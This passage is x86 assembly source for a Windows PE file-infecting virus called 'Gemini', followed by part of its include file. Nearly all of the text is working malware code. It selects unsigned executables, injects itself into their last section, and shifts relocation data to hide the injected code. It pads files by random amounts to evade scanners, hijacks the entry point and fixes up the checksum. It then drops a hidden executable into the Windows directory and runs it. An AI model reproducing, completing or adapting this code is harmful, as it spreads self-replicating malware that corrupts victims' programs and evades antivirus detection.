;-----------------------------------------------------------------------------
|
|||
|
;the COFF magic value is not checked because Windows ignores it anyway
|
|||
|
;IMAGE_FILE_MACHINE_IA64 machine type is the only reliable way to detect PE32+
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
mov eax, dword ptr [esi + pehdr.pesubsys - pehdr.pecodebase]
|
|||
|
cmp ax, IMAGE_SUBSYSTEM_WINDOWS_CUI
|
|||
|
jnbe inftest_ret
|
|||
|
cmp al, IMAGE_SUBSYSTEM_WINDOWS_GUI ;al not ax, because ah is known now to be 0
|
|||
|
jb inftest_ret
|
|||
|
shr eax, 1eh ;test eax, IMAGE_DLLCHARACTERISTICS_WDM_DRIVER shl 10h
|
|||
|
jb inftest_ret
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;avoid files which seem to contain attribute certificates
|
|||
|
;because one of those certificates might be a digital signature
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
cmp dword ptr [esi + pehdr.pesecurity.dirrva - pehdr.pecodebase], 0
|
|||
|
jne inftest_ret
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;cannot use the NumberOfRvaAndSizes field to calculate the Optional Header size
|
|||
|
;the Optional Header can be larger than the offset of the last directory
|
|||
|
;remember: even if you have not seen it does not mean that it does not happen :)
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
movzx eax, word ptr [esi + pehdr.pecoff.peopthdrsize - pehdr.pecodebase]
|
|||
|
add eax, edx
|
|||
|
lea esi, dword ptr [esi + eax - pehdr.pecodebase + pehdr.pemagic - size pesect + pesect.sectrawsize]
|
|||
|
lods dword ptr [esi]
|
|||
|
add eax, dword ptr [esi]
|
|||
|
cmp dword ptr [ebp + findlist.finddata.dwFileSizeLow], eax
|
|||
|
jne inftest_ret ;file contains appended data
|
|||
|
inc dword ptr [esp + mapsehstk.mapsehinfret]
|
|||
|
;skip call mask
|
|||
|
|
|||
|
inftest_ret label near
|
|||
|
int 3
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;increase file size by random value (between RANDPADMIN and RANDPADMAX bytes)
|
|||
|
;I use GetTickCount() instead of RDTSC because RDTSC can be made privileged
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
open_append proc near
|
|||
|
call cGetTickCount
|
|||
|
and eax, RANDPADMAX - 1
|
|||
|
add ax, small (offset gemini_codeend - offset gemini_exe + RANDPADMIN)
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;create file map, and map view if successful
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
map_view proc near ;eax = extra bytes to map, ebx = file handle, esi -> findlist, ebp -> platform APIs
|
|||
|
add eax, dword ptr [esi + findlist.finddata.dwFileSizeLow]
|
|||
|
xor ecx, ecx
|
|||
|
push eax
|
|||
|
push eax ;MapViewOfFile
|
|||
|
push ecx ;MapViewOfFile
|
|||
|
push ecx ;MapViewOfFile
|
|||
|
push FILE_MAP_WRITE ;Windows 9x/Me does not support FILE_MAP_ALL_ACCESS
|
|||
|
push ecx
|
|||
|
push eax
|
|||
|
push ecx
|
|||
|
push PAGE_READWRITE
|
|||
|
push ecx
|
|||
|
push ebx
|
|||
|
push (krncrcstk.kCreateFileMappingA - krncrcstk.kWaitForSingleObject) shr 2
|
|||
|
pop eax ;ANSI map is allowed because of no name
|
|||
|
call store_krnapi
|
|||
|
push eax
|
|||
|
xchg edi, eax
|
|||
|
push (krncrcstk.kMapViewOfFile - krncrcstk.kWaitForSingleObject) shr 2
|
|||
|
pop eax
|
|||
|
call store_krnapi
|
|||
|
pop ecx
|
|||
|
xchg edi, eax ;should succeed even if file cannot be opened
|
|||
|
pushad
|
|||
|
call unmap_seh
|
|||
|
mov esp, dword ptr [esp + sehstruc.sehprevseh]
|
|||
|
xor eax, eax
|
|||
|
pop dword ptr fs:[eax]
|
|||
|
pop eax
|
|||
|
popad ;SEH destroys all registers
|
|||
|
push eax
|
|||
|
push edi
|
|||
|
push (krncrcstk.kUnmapViewOfFile - krncrcstk.kWaitForSingleObject) shr 2
|
|||
|
pop eax
|
|||
|
call store_krnapi
|
|||
|
call cCloseHandle
|
|||
|
pop eax
|
|||
|
ret
|
|||
|
|
|||
|
unmap_seh proc near
|
|||
|
cdq
|
|||
|
push dword ptr fs:[edx]
|
|||
|
mov dword ptr fs:[edx], esp
|
|||
|
jmp dword ptr [esp + mapsehstk.mapsehsehret]
|
|||
|
unmap_seh endp
|
|||
|
map_view endp ;eax = map handle, ecx = new file size, edi = map view
|
|||
|
open_append endp
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;determine platform and dynamically select function types (ANSI or Unicode)
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
get_krnapis proc near ;place near to jump table for smaller code
|
|||
|
call cGetVersion
|
|||
|
|
|||
|
krnapi_delta label near
|
|||
|
shr eax, 1fh
|
|||
|
mov ecx, dword ptr [esp - 4] ;no stack change in ring 3
|
|||
|
mov ecx, dword ptr [ecx + offset store_krnapi - offset krnapi_delta + 3]
|
|||
|
lea ebp, dword ptr [eax * 4 + ecx]
|
|||
|
ret
|
|||
|
get_krnapis endp
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;indexed API jump table
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
cWaitForSingleObject proc near
|
|||
|
xor eax, eax
|
|||
|
jmp store_krnapi
|
|||
|
cWaitForSingleObject endp
|
|||
|
|
|||
|
cSleep proc near
|
|||
|
push (krncrcstk.kSleep - krncrcstk.kWaitForSingleObject) shr 2
|
|||
|
jmp call_krncrc
|
|||
|
cSleep endp
|
|||
|
|
|||
|
cSetCurrentDirectoryA proc near
|
|||
|
push (krncrcstk.kSetCurrentDirectoryA - krncrcstk.kWaitForSingleObject) shr 2
|
|||
|
jmp call_krncrc
|
|||
|
cSetCurrentDirectoryA endp
|
|||
|
|
|||
|
cOpenEventA proc near
|
|||
|
push (krncrcstk.kOpenEventA - krncrcstk.kWaitForSingleObject) shr 2
|
|||
|
jmp call_krncrc
|
|||
|
cOpenEventA endp
|
|||
|
|
|||
|
cLoadLibraryA proc near
|
|||
|
push (krncrcstk.kLoadLibraryA - krncrcstk.kWaitForSingleObject) shr 2
|
|||
|
jmp call_krncrc
|
|||
|
cLoadLibraryA endp
|
|||
|
|
|||
|
cGlobalFree proc near
|
|||
|
push (krncrcstk.kGlobalFree - krncrcstk.kWaitForSingleObject) shr 2
|
|||
|
jmp call_krncrc
|
|||
|
cGlobalFree endp
|
|||
|
|
|||
|
cGlobalAlloc proc near
|
|||
|
push (krncrcstk.kGlobalAlloc - krncrcstk.kWaitForSingleObject) shr 2
|
|||
|
jmp call_krncrc
|
|||
|
cGlobalAlloc endp
|
|||
|
|
|||
|
cGetVersion proc near
|
|||
|
push (krncrcstk.kGetVersion - krncrcstk.kWaitForSingleObject) shr 2
|
|||
|
jmp call_krncrc
|
|||
|
cGetVersion endp
|
|||
|
|
|||
|
cGetTickCount proc near
|
|||
|
push (krncrcstk.kGetTickCount - krncrcstk.kWaitForSingleObject) shr 2
|
|||
|
jmp call_krncrc
|
|||
|
cGetTickCount endp
|
|||
|
|
|||
|
cCreateThread proc near
|
|||
|
push (krncrcstk.kCreateThread - krncrcstk.kWaitForSingleObject) shr 2
|
|||
|
jmp call_krncrc
|
|||
|
cCreateThread endp
|
|||
|
|
|||
|
cCloseHandle proc near
|
|||
|
push (krncrcstk.kCloseHandle - krncrcstk.kWaitForSingleObject) shr 2
|
|||
|
cCloseHandle endp
|
|||
|
|
|||
|
call_krncrc proc near
|
|||
|
pop eax
|
|||
|
|
|||
|
store_krnapi label near
|
|||
|
jmp dword ptr [eax * 4 + '!bgr']
|
|||
|
call_krncrc endp
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;infect file in two parts
|
|||
|
;algorithm: increase file size by random amount (RANDPADMIN-RANDPADMAX
|
|||
|
; bytes) to confuse scanners that look at end of file (also
|
|||
|
; infection marker)
|
|||
|
; if reloc table is not in last section (taken from relocation
|
|||
|
; field in PE header, not section name), then append to last
|
|||
|
; section. otherwise, move relocs down and insert code into
|
|||
|
; space (to confuse people looking at end of file. they will
|
|||
|
; see only relocation data and garbage or many zeroes)
|
|||
|
; entry point is altered to point to some code. very simple
|
|||
|
; however, that code just drops exe and returns
|
|||
|
; exe contains infection routine
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
infect_file label near ;esi -> findlist, edi = map view
|
|||
|
call open_append
|
|||
|
|
|||
|
delta_label label near
|
|||
|
push ecx
|
|||
|
push edi
|
|||
|
mov ebx, dword ptr [edi + mzhdr.mzlfanew]
|
|||
|
lea ebx, dword ptr [ebx + edi + pehdr.pechksum]
|
|||
|
movzx eax, word ptr [ebx + pehdr.pecoff.pesectcount - pehdr.pechksum]
|
|||
|
imul eax, eax, size pesect
|
|||
|
movzx ecx, word ptr [ebx + pehdr.pecoff.peopthdrsize - pehdr.pechksum]
|
|||
|
add eax, ecx
|
|||
|
lea esi, dword ptr [ebx + eax + pehdr.pemagic - pehdr.pechksum - size pesect + pesect.sectrawsize]
|
|||
|
lods dword ptr [esi]
|
|||
|
mov cx, offset gemini_codeend - offset gemini_exe
|
|||
|
mov edx, dword ptr [ebx + pehdr.pefilealign - pehdr.pechksum]
|
|||
|
push eax
|
|||
|
add eax, ecx
|
|||
|
dec edx
|
|||
|
add eax, edx
|
|||
|
not edx
|
|||
|
and eax, edx ;file align last section
|
|||
|
mov dword ptr [esi + pesect.sectrawsize - pesect.sectrawaddr], eax
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;raw size is file aligned. virtual size is not required to be section aligned
|
|||
|
;so if old virtual size is larger than new raw size, then size of image does
|
|||
|
;not need to be updated, else virtual size must be large enough to cover the
|
|||
|
;new code, and size of image is section aligned
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
mov ebp, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr]
|
|||
|
cmp dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
|
|||
|
jnb test_reloff
|
|||
|
mov dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
|
|||
|
add eax, ebp
|
|||
|
mov edx, dword ptr [ebx + pehdr.pesectalign - pehdr.pechksum]
|
|||
|
dec edx
|
|||
|
add eax, edx
|
|||
|
not edx
|
|||
|
and eax, edx
|
|||
|
mov dword ptr [ebx + pehdr.peimagesize - pehdr.pechksum], eax
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;if relocation table is not in last section, then append to last section
|
|||
|
;otherwise, move relocations down and insert code into space
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
test_reloff label near
|
|||
|
test byte ptr [ebx + pehdr.pecoff.peflags - pehdr.pechksum], IMAGE_FILE_RELOCS_STRIPPED
|
|||
|
jne copy_code
|
|||
|
cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ebp
|
|||
|
jb copy_code
|
|||
|
mov eax, dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr]
|
|||
|
add eax, ebp
|
|||
|
cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], eax
|
|||
|
jnb copy_code
|
|||
|
add dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ecx
|
|||
|
pop eax
|
|||
|
push esi
|
|||
|
add edi, dword ptr [esi]
|
|||
|
lea esi, dword ptr [edi + eax - 1]
|
|||
|
lea edi, dword ptr [esi + ecx]
|
|||
|
xchg ecx, eax
|
|||
|
std
|
|||
|
rep movs byte ptr [edi], byte ptr [esi]
|
|||
|
cld
|
|||
|
pop esi
|
|||
|
pop edi
|
|||
|
push edi
|
|||
|
push ecx
|
|||
|
xchg ecx, eax
|
|||
|
|
|||
|
copy_code label near
|
|||
|
pop edx
|
|||
|
add ebp, edx
|
|||
|
xchg ebp, eax
|
|||
|
add edx, dword ptr [esi]
|
|||
|
add edi, edx
|
|||
|
lea edx, dword ptr [eax + ecx]
|
|||
|
mov esi, offset gemini_exe - offset delta_label
|
|||
|
add esi, dword ptr [esp + infectstk.infseh.mapsehinfret]
|
|||
|
;delta offset
|
|||
|
rep movs byte ptr [edi], byte ptr [esi]
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;alter entry point
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
add eax, offset gemini_inf - offset gemini_exe
|
|||
|
xchg dword ptr [ebx + pehdr.peentrypoint - pehdr.pechksum], eax
|
|||
|
sub eax, edx
|
|||
|
mov dword ptr [edi + offset host_patch - offset gemini_codeend + 1], eax
|
|||
|
pop edi
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;CheckSumMappedFile() - simply sum of all words in file, then adc filesize
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
xchg dword ptr [ebx], ecx
|
|||
|
jecxz infect_ret
|
|||
|
xor eax, eax
|
|||
|
pop ecx
|
|||
|
push ecx
|
|||
|
inc ecx
|
|||
|
shr ecx, 1
|
|||
|
clc
|
|||
|
|
|||
|
calc_checksum label near
|
|||
|
adc ax, word ptr [edi]
|
|||
|
inc edi
|
|||
|
inc edi
|
|||
|
loop calc_checksum
|
|||
|
pop dword ptr [ebx]
|
|||
|
adc dword ptr [ebx], eax ;avoid common bug. ADC not ADD
|
|||
|
|
|||
|
infect_ret label near
|
|||
|
int 3 ;common exit using SEH
|
|||
|
db "*4U2NV*" ;that is, unless you're reading this
|
|||
|
test_infect endp
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;virus code begins here in infected files
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
gemini_inf label near
|
|||
|
pushad
|
|||
|
call walk_seh
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;API CRC table, null terminated
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
expcrcbegin label near ;place < 80h bytes from call for smaller code
|
|||
|
dd (expcrc_count + 1) dup (0)
|
|||
|
expcrcend label near
|
|||
|
dd offset drop_exp - offset expcrcend + 4
|
|||
|
|
|||
|
explabel label near
|
|||
|
db exename, ".exe", 0
|
|||
|
db 0ch - (offset $ - offset explabel) dup (0)
|
|||
|
|
|||
|
expsize equ 0d4h
|
|||
|
;RLE-based compressed MZ header, PE header, import table, section table
|
|||
|
dd 11111111110000011100001011100000b
|
|||
|
; mmmmmmmmmmz 01mmz 02mmm
|
|||
|
db 'M', 'Z', "gdi32.dll", 'P', 'E', 4ch, 1, 1
|
|||
|
dd 00000110000111100001001010010000b
|
|||
|
; z 01mz 03mmz 02r 04m
|
|||
|
db 2, 2ch, 10h, 88h
|
|||
|
dd 00000111110100100001001000111110b
|
|||
|
; z 01mmmmr 02z 04mz 07mm
|
|||
|
db 0fh, 3, 0bh, 1, 56h, expsize, 10h
|
|||
|
dd 00001001010010001011000010100001b
|
|||
|
; z 02r 04mz 05mz 02mz 02
|
|||
|
db 0ch, 40h, 10h
|
|||
|
dd 00000110000101010111100001111100b
|
|||
|
; z 01mz 02mr 07mz 03mmm
|
|||
|
db 2, 1, 4, "Arc"
|
|||
|
dd 00001010000101000111100000101001b
|
|||
|
; z 02mz 03mz 07mz 01r 02
|
|||
|
db ((gemini_codeend - offset gemini_exe + expsize + 1fffh) and not 0fffh) shr 8, expsize, 2
|
|||
|
dd 10000111000011100001110000110101b
|
|||
|
; mz 03mz 03mz 03mz 03r 04
|
|||
|
db 1, 1, 1, 1
|
|||
|
dd 10001110101001100101001111001111b
|
|||
|
; mz 07r 04mmz 0ar 0er 0e
|
|||
|
db 2, 8, 10h
|
|||
|
dd 00010110000111000010100001101100b
|
|||
|
; z 05mz 03mz 02mz 03r 08
|
|||
|
db 10h, ((gemini_codeend - offset gemini_exe + expsize + 1ffh) and not 1ffh) shr 8, 1
|
|||
|
dd 00011110000000000000000000000000b
|
|||
|
; z 07m
|
|||
|
db 0e0h
|
|||
|
dd 0
|
|||
|
;decompressed data follow. 'X' bytes are set to random value every time
|
|||
|
; db 'M', 'Z' ;00
|
|||
|
; db "gdi32.dll", 0 ;02 align 4, filler (overload for dll name and import lookup table RVA)
|
|||
|
; db 'P', 'E', 0, 0 ;0c 00 signature (overload for date/time stamp)
|
|||
|
; dw 14ch ;10 04 machine (overload for forwarder chain)
|
|||
|
; dw 1 ;12 06 number of sections (overload for forwarder chain)
|
|||
|
; dd 2 ;14 08 date/time stamp (overload for dll name RVA)
|
|||
|
; dd 102ch ;18 0c pointer to symbol table (overload for import address table RVA)
|
|||
|
; db X, X, X, X ;1c 10 number of symbols
|
|||
|
; dw 88h ;20 14 size of optional header
|
|||
|
; dw 30fh ;22 16 characteristics
|
|||
|
; dw 10bh ;24 18 magic
|
|||
|
; db X ;26 1a major linker
|
|||
|
; db X ;27 1b minor linker
|
|||
|
; dd 0 ;28 1c size of code (overload for import table terminator)
|
|||
|
; dd 56h ;2c 20 size of init data (overload for import name table RVA)
|
|||
|
; dd 0 ;30 24 size of uninit data (overload for import name table terminator)
|
|||
|
; dd expsize + 1000h ;34 28 entry point
|
|||
|
; db X, X, X, X ;38 2c base of code
|
|||
|
; dd 0ch ;3c 30 base of data (overload for lfanew)
|
|||
|
; dd 400000h ;40 34 image base
|
|||
|
; dd 1000h ;44 38 section align
|
|||
|
; dd 200h ;48 3c file align
|
|||
|
; db 1, X ;4c 40 major os
|
|||
|
; db X, X ;4e 42 minor os
|
|||
|
; db X, X ;50 44 major image
|
|||
|
; db X, X ;52 46 minor image
|
|||
|
; dw 4 ;54 48 major subsys
|
|||
|
; dw 0 ;56 4a minor subsys (overload for import name table)
|
|||
|
; db "Arc", 0 ;58 4c reserved (overload for import name table)
|
|||
|
; dd (aligned size of code) ;5c 50 size of image
|
|||
|
; dd expsize ;60 54 size of headers
|
|||
|
; dd 0 ;64 58 checksum
|
|||
|
; dw 2 ;68 5c subsystem
|
|||
|
; db X, X ;6a 5e dll characteristics
|
|||
|
; dd 1 ;6c 60 size of stack reserve
|
|||
|
; dd 1 ;70 64 size of stack commit
|
|||
|
; dd 1 ;74 68 size of heap reserve
|
|||
|
; dd 1 ;78 6c size of heap commit
|
|||
|
; db X, X, X, X ;7c 70 loader flags
|
|||
|
; dd 2 ;80 74 number of rva and sizes (ignored by Windows 9x/Me)
|
|||
|
; dd 0 ;84 78 export
|
|||
|
; db X, X, X, X ;88 7c export
|
|||
|
; dd 1008h ;8c 80 import
|
|||
|
; dd 0 ;90 84 import
|
|||
|
; dd 0 ;94 88 resource
|
|||
|
; db X, X, X, X ;98 8c resource
|
|||
|
; db X, X, X, X, X, X, X, X ;9c 90 exception
|
|||
|
; db X, X, X, X, X, X, X, X ;a4 98 certificate
|
|||
|
; db X, X, X, X, X, X, X, X ;ac a0 base reloc (overload for section name)
|
|||
|
; dd 0 ;b4 a8 debug (overload for virtual size)
|
|||
|
; dd 1000h ;b8 ac debug (overload for virtual address)
|
|||
|
; dd (aligned size of code) ;bc b0 architecture (overload for file size)
|
|||
|
; dd 1 ;c0 b4 architecture (overload for file offset)
|
|||
|
; db X, X, X, X ;c4 b8 global data (overload for pointer to relocs)
|
|||
|
; db X, X, X, X ;c8 bc global data (overload for pointer to line numbers)
|
|||
|
; dd 0 ;cc c0 tls (overload for reloc table and line numbers)
|
|||
|
; dd 0e0000000h ;d0 c4 tls (overload for section characteristics)
|
|||
|
; ;d4
|
|||
|
|
|||
|
drop_exp label near
|
|||
|
mov ebx, esp
|
|||
|
lea esi, dword ptr [edi + offset explabel - offset drop_exp]
|
|||
|
mov edi, offset gemini_codeend - offset gemini_exe + expsize + 1ffh
|
|||
|
;file size must be > end of last section
|
|||
|
push edi
|
|||
|
xor ebp, ebp ;GMEM_FIXED
|
|||
|
push ebp
|
|||
|
call dword ptr [ebx + expcrcstk.pGlobalAlloc]
|
|||
|
push eax ;GlobalFree
|
|||
|
push ebp ;WriteFile
|
|||
|
push esp ;WriteFile
|
|||
|
push edi ;WriteFile
|
|||
|
push ebp ;CreateFileA
|
|||
|
push ebp ;CreateFileA
|
|||
|
push CREATE_ALWAYS ;CreateFileA
|
|||
|
push ebp ;CreateFileA
|
|||
|
push ebp ;CreateFileA
|
|||
|
push GENERIC_WRITE ;CreateFileA
|
|||
|
push eax ;CreateFileA
|
|||
|
lea ecx, dword ptr [eax + 7fh]
|
|||
|
push ecx ;MoveFileA
|
|||
|
push eax ;MoveFileA
|
|||
|
push eax ;GetFileAttributesA
|
|||
|
push ebp ;SetFileAttributesA
|
|||
|
push eax ;SetFileAttributesA
|
|||
|
push ecx ;DeleteFileA
|
|||
|
push ecx ;GetTempFileNameA
|
|||
|
push ebp ;GetTempFileNameA
|
|||
|
push esp ;GetTempFileNameA
|
|||
|
push eax ;GetTempFileNameA
|
|||
|
push edi ;GetWindowsDirectoryA
|
|||
|
push eax ;GetWindowsDirectoryA
|
|||
|
xchg ebp, eax
|
|||
|
call dword ptr [ebx + expcrcstk.pGetWindowsDirectoryA]
|
|||
|
lea edi, dword ptr [ebp + eax - 1]
|
|||
|
call dword ptr [ebx + expcrcstk.pGetTempFileNameA]
|
|||
|
call dword ptr [ebx + expcrcstk.pDeleteFileA]
|
|||
|
mov al, '\'
|
|||
|
scas byte ptr [edi]
|
|||
|
je skip_slash
|
|||
|
stos byte ptr [edi]
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;append exe name, assumes name is 0ch bytes long
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
skip_slash label near
|
|||
|
movs dword ptr [edi], dword ptr [esi]
|
|||
|
movs dword ptr [edi], dword ptr [esi]
|
|||
|
movs dword ptr [edi], dword ptr [esi]
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;anti-anti-file dropper - remove read-only attribute, delete file, rename directory
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
call dword ptr [ebx + expcrcstk.pSetFileAttributesA]
|
|||
|
call dword ptr [ebx + expcrcstk.pGetFileAttributesA]
|
|||
|
test al, FILE_ATTRIBUTE_DIRECTORY
|
|||
|
pop ecx
|
|||
|
pop eax
|
|||
|
je skip_move
|
|||
|
push eax
|
|||
|
push ecx
|
|||
|
call dword ptr [ebx + expcrcstk.pMoveFileA]
|
|||
|
|
|||
|
skip_move label near
|
|||
|
call dword ptr [ebx + expcrcstk.pCreateFileA]
|
|||
|
push edi ;WriteFile
|
|||
|
push ebx
|
|||
|
xchg ebp, eax
|
|||
|
call dword ptr [ebx + expcrcstk.pGetTickCount]
|
|||
|
xchg ebx, eax
|
|||
|
xor ecx, ecx
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;decompress MZ header, PE header, section table, import table
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
lods dword ptr [esi]
|
|||
|
|
|||
|
copy_bytes label near
|
|||
|
movs byte ptr [edi], byte ptr [esi]
|
|||
|
|
|||
|
test_bits label near
|
|||
|
add eax, eax
|
|||
|
jb copy_bytes
|
|||
|
add eax, eax
|
|||
|
sbb dl, dl
|
|||
|
and dl, bl
|
|||
|
shld ecx, eax, 4
|
|||
|
rol ebx, cl
|
|||
|
shl eax, 4
|
|||
|
xchg edx, eax
|
|||
|
rep stos byte ptr [edi]
|
|||
|
xchg edx, eax
|
|||
|
jne test_bits
|
|||
|
lods dword ptr [esi]
|
|||
|
test eax, eax
|
|||
|
jne test_bits
|
|||
|
mov cx, offset gemini_codeend - offset gemini_exe
|
|||
|
sub esi, offset drop_exp - offset gemini_exe
|
|||
|
rep movs byte ptr [edi], byte ptr [esi]
|
|||
|
pop ebx
|
|||
|
push ebp
|
|||
|
call dword ptr [ebx + expcrcstk.pWriteFile]
|
|||
|
push ebp
|
|||
|
call dword ptr [ebx + expcrcstk.pCloseHandle]
|
|||
|
pop eax
|
|||
|
push eax
|
|||
|
inc ebp
|
|||
|
je host_ret ;allow only 1 copy to run
|
|||
|
push SW_HIDE
|
|||
|
push eax
|
|||
|
call dword ptr [ebx + expcrcstk.pWinExec]
|
|||
|
|
|||
|
host_ret label near
|
|||
|
add esp, 4 + size expcrcstk
|
|||
|
popad
|
|||
|
|
|||
|
host_patch label near
|
|||
|
db 0e9h, 'rgb!' ;must be last bytes in file
|
|||
|
|
|||
|
gemini_codeend label near
|
|||
|
gemini_exe endp
|
|||
|
|
|||
|
.code
|
|||
|
dropper label near
|
|||
|
mov edx, expcrc_count
|
|||
|
mov ebx, offset expnames
|
|||
|
mov edi, offset expcrcbegin
|
|||
|
call create_crcs
|
|||
|
mov edx, krncrc_count
|
|||
|
mov ebx, offset krnnames
|
|||
|
mov edi, offset krncrcbegin
|
|||
|
call create_crcs
|
|||
|
mov edx, sfccrc_count
|
|||
|
mov ebx, offset sfcnames
|
|||
|
mov edi, offset sfccrcbegin
|
|||
|
call create_crcs
|
|||
|
call patch_host
|
|||
|
xor ebx, ebx
|
|||
|
push ebx
|
|||
|
push offset txttitle
|
|||
|
push offset txtbody
|
|||
|
push ebx
|
|||
|
call MessageBoxA
|
|||
|
push ebx
|
|||
|
call ExitProcess
|
|||
|
|
|||
|
create_crcs proc near
|
|||
|
imul ebp, edx, 4
|
|||
|
|
|||
|
create_loop label near
|
|||
|
or eax, -1
|
|||
|
|
|||
|
create_outer label near
|
|||
|
xor al, byte ptr [ebx]
|
|||
|
push 8
|
|||
|
pop ecx
|
|||
|
|
|||
|
create_inner label near
|
|||
|
add eax, eax
|
|||
|
jnb create_skip
|
|||
|
xor eax, 4c11db7h ;use generator polymonial (see IEEE 802)
|
|||
|
|
|||
|
create_skip label near
|
|||
|
loop create_inner
|
|||
|
sub cl, byte ptr [ebx] ;carry set if not zero
|
|||
|
inc ebx ;carry not altered by inc
|
|||
|
jb create_outer
|
|||
|
push eax
|
|||
|
dec edx
|
|||
|
jne create_loop
|
|||
|
mov eax, esp
|
|||
|
push ecx
|
|||
|
push ebp
|
|||
|
push eax
|
|||
|
push edi
|
|||
|
call GetCurrentProcess
|
|||
|
push eax
|
|||
|
xchg esi, eax
|
|||
|
call WriteProcessMemory
|
|||
|
add esp, ebp
|
|||
|
ret
|
|||
|
create_crcs endp
|
|||
|
end dropper
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[GEMINI.ASM]<EFBFBD><EFBFBD><EFBFBD>
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[GEMINI.INC]<EFBFBD><EFBFBD><EFBFBD>
|
|||
|
MAX_PATH equ 260
|
|||
|
|
|||
|
FILE_ATTRIBUTE_DIRECTORY equ 00000010h
|
|||
|
|
|||
|
CREATE_ALWAYS equ 2
|
|||
|
OPEN_EXISTING equ 3
|
|||
|
|
|||
|
GENERIC_WRITE equ 40000000h
|
|||
|
GENERIC_READ equ 80000000h
|
|||
|
|
|||
|
SW_HIDE equ 0
|
|||
|
|
|||
|
GMEM_FIXED equ 0
|
|||
|
GMEM_ZEROINIT equ 40h
|
|||
|
|
|||
|
STATUS_TIMEOUT equ 102h
|
|||
|
WAIT_TIMEOUT equ STATUS_TIMEOUT
|
|||
|
|
|||
|
PROCESS_VM_READ equ 10h
|
|||
|
|
|||
|
EVENT_MODIFY_STATE equ 2
|
|||
|
SYNCHRONIZE equ 100000h
|
|||
|
|
|||
|
DRIVE_FIXED equ 3
|
|||
|
DRIVE_REMOTE equ 4
|
|||
|
|
|||
|
IMAGE_FILE_MACHINE_I386 equ 14ch ;14d/14e do not exist. if you don't believe, then try it
|
|||
|
|
|||
|
IMAGE_FILE_RELOCS_STRIPPED equ 0001h
|
|||
|
IMAGE_FILE_EXECUTABLE_IMAGE equ 0002h
|
|||
|
IMAGE_FILE_32BIT_MACHINE equ 0100h
|
|||
|
IMAGE_FILE_SYSTEM equ 1000h
|
|||
|
IMAGE_FILE_DLL equ 2000h
|
|||
|
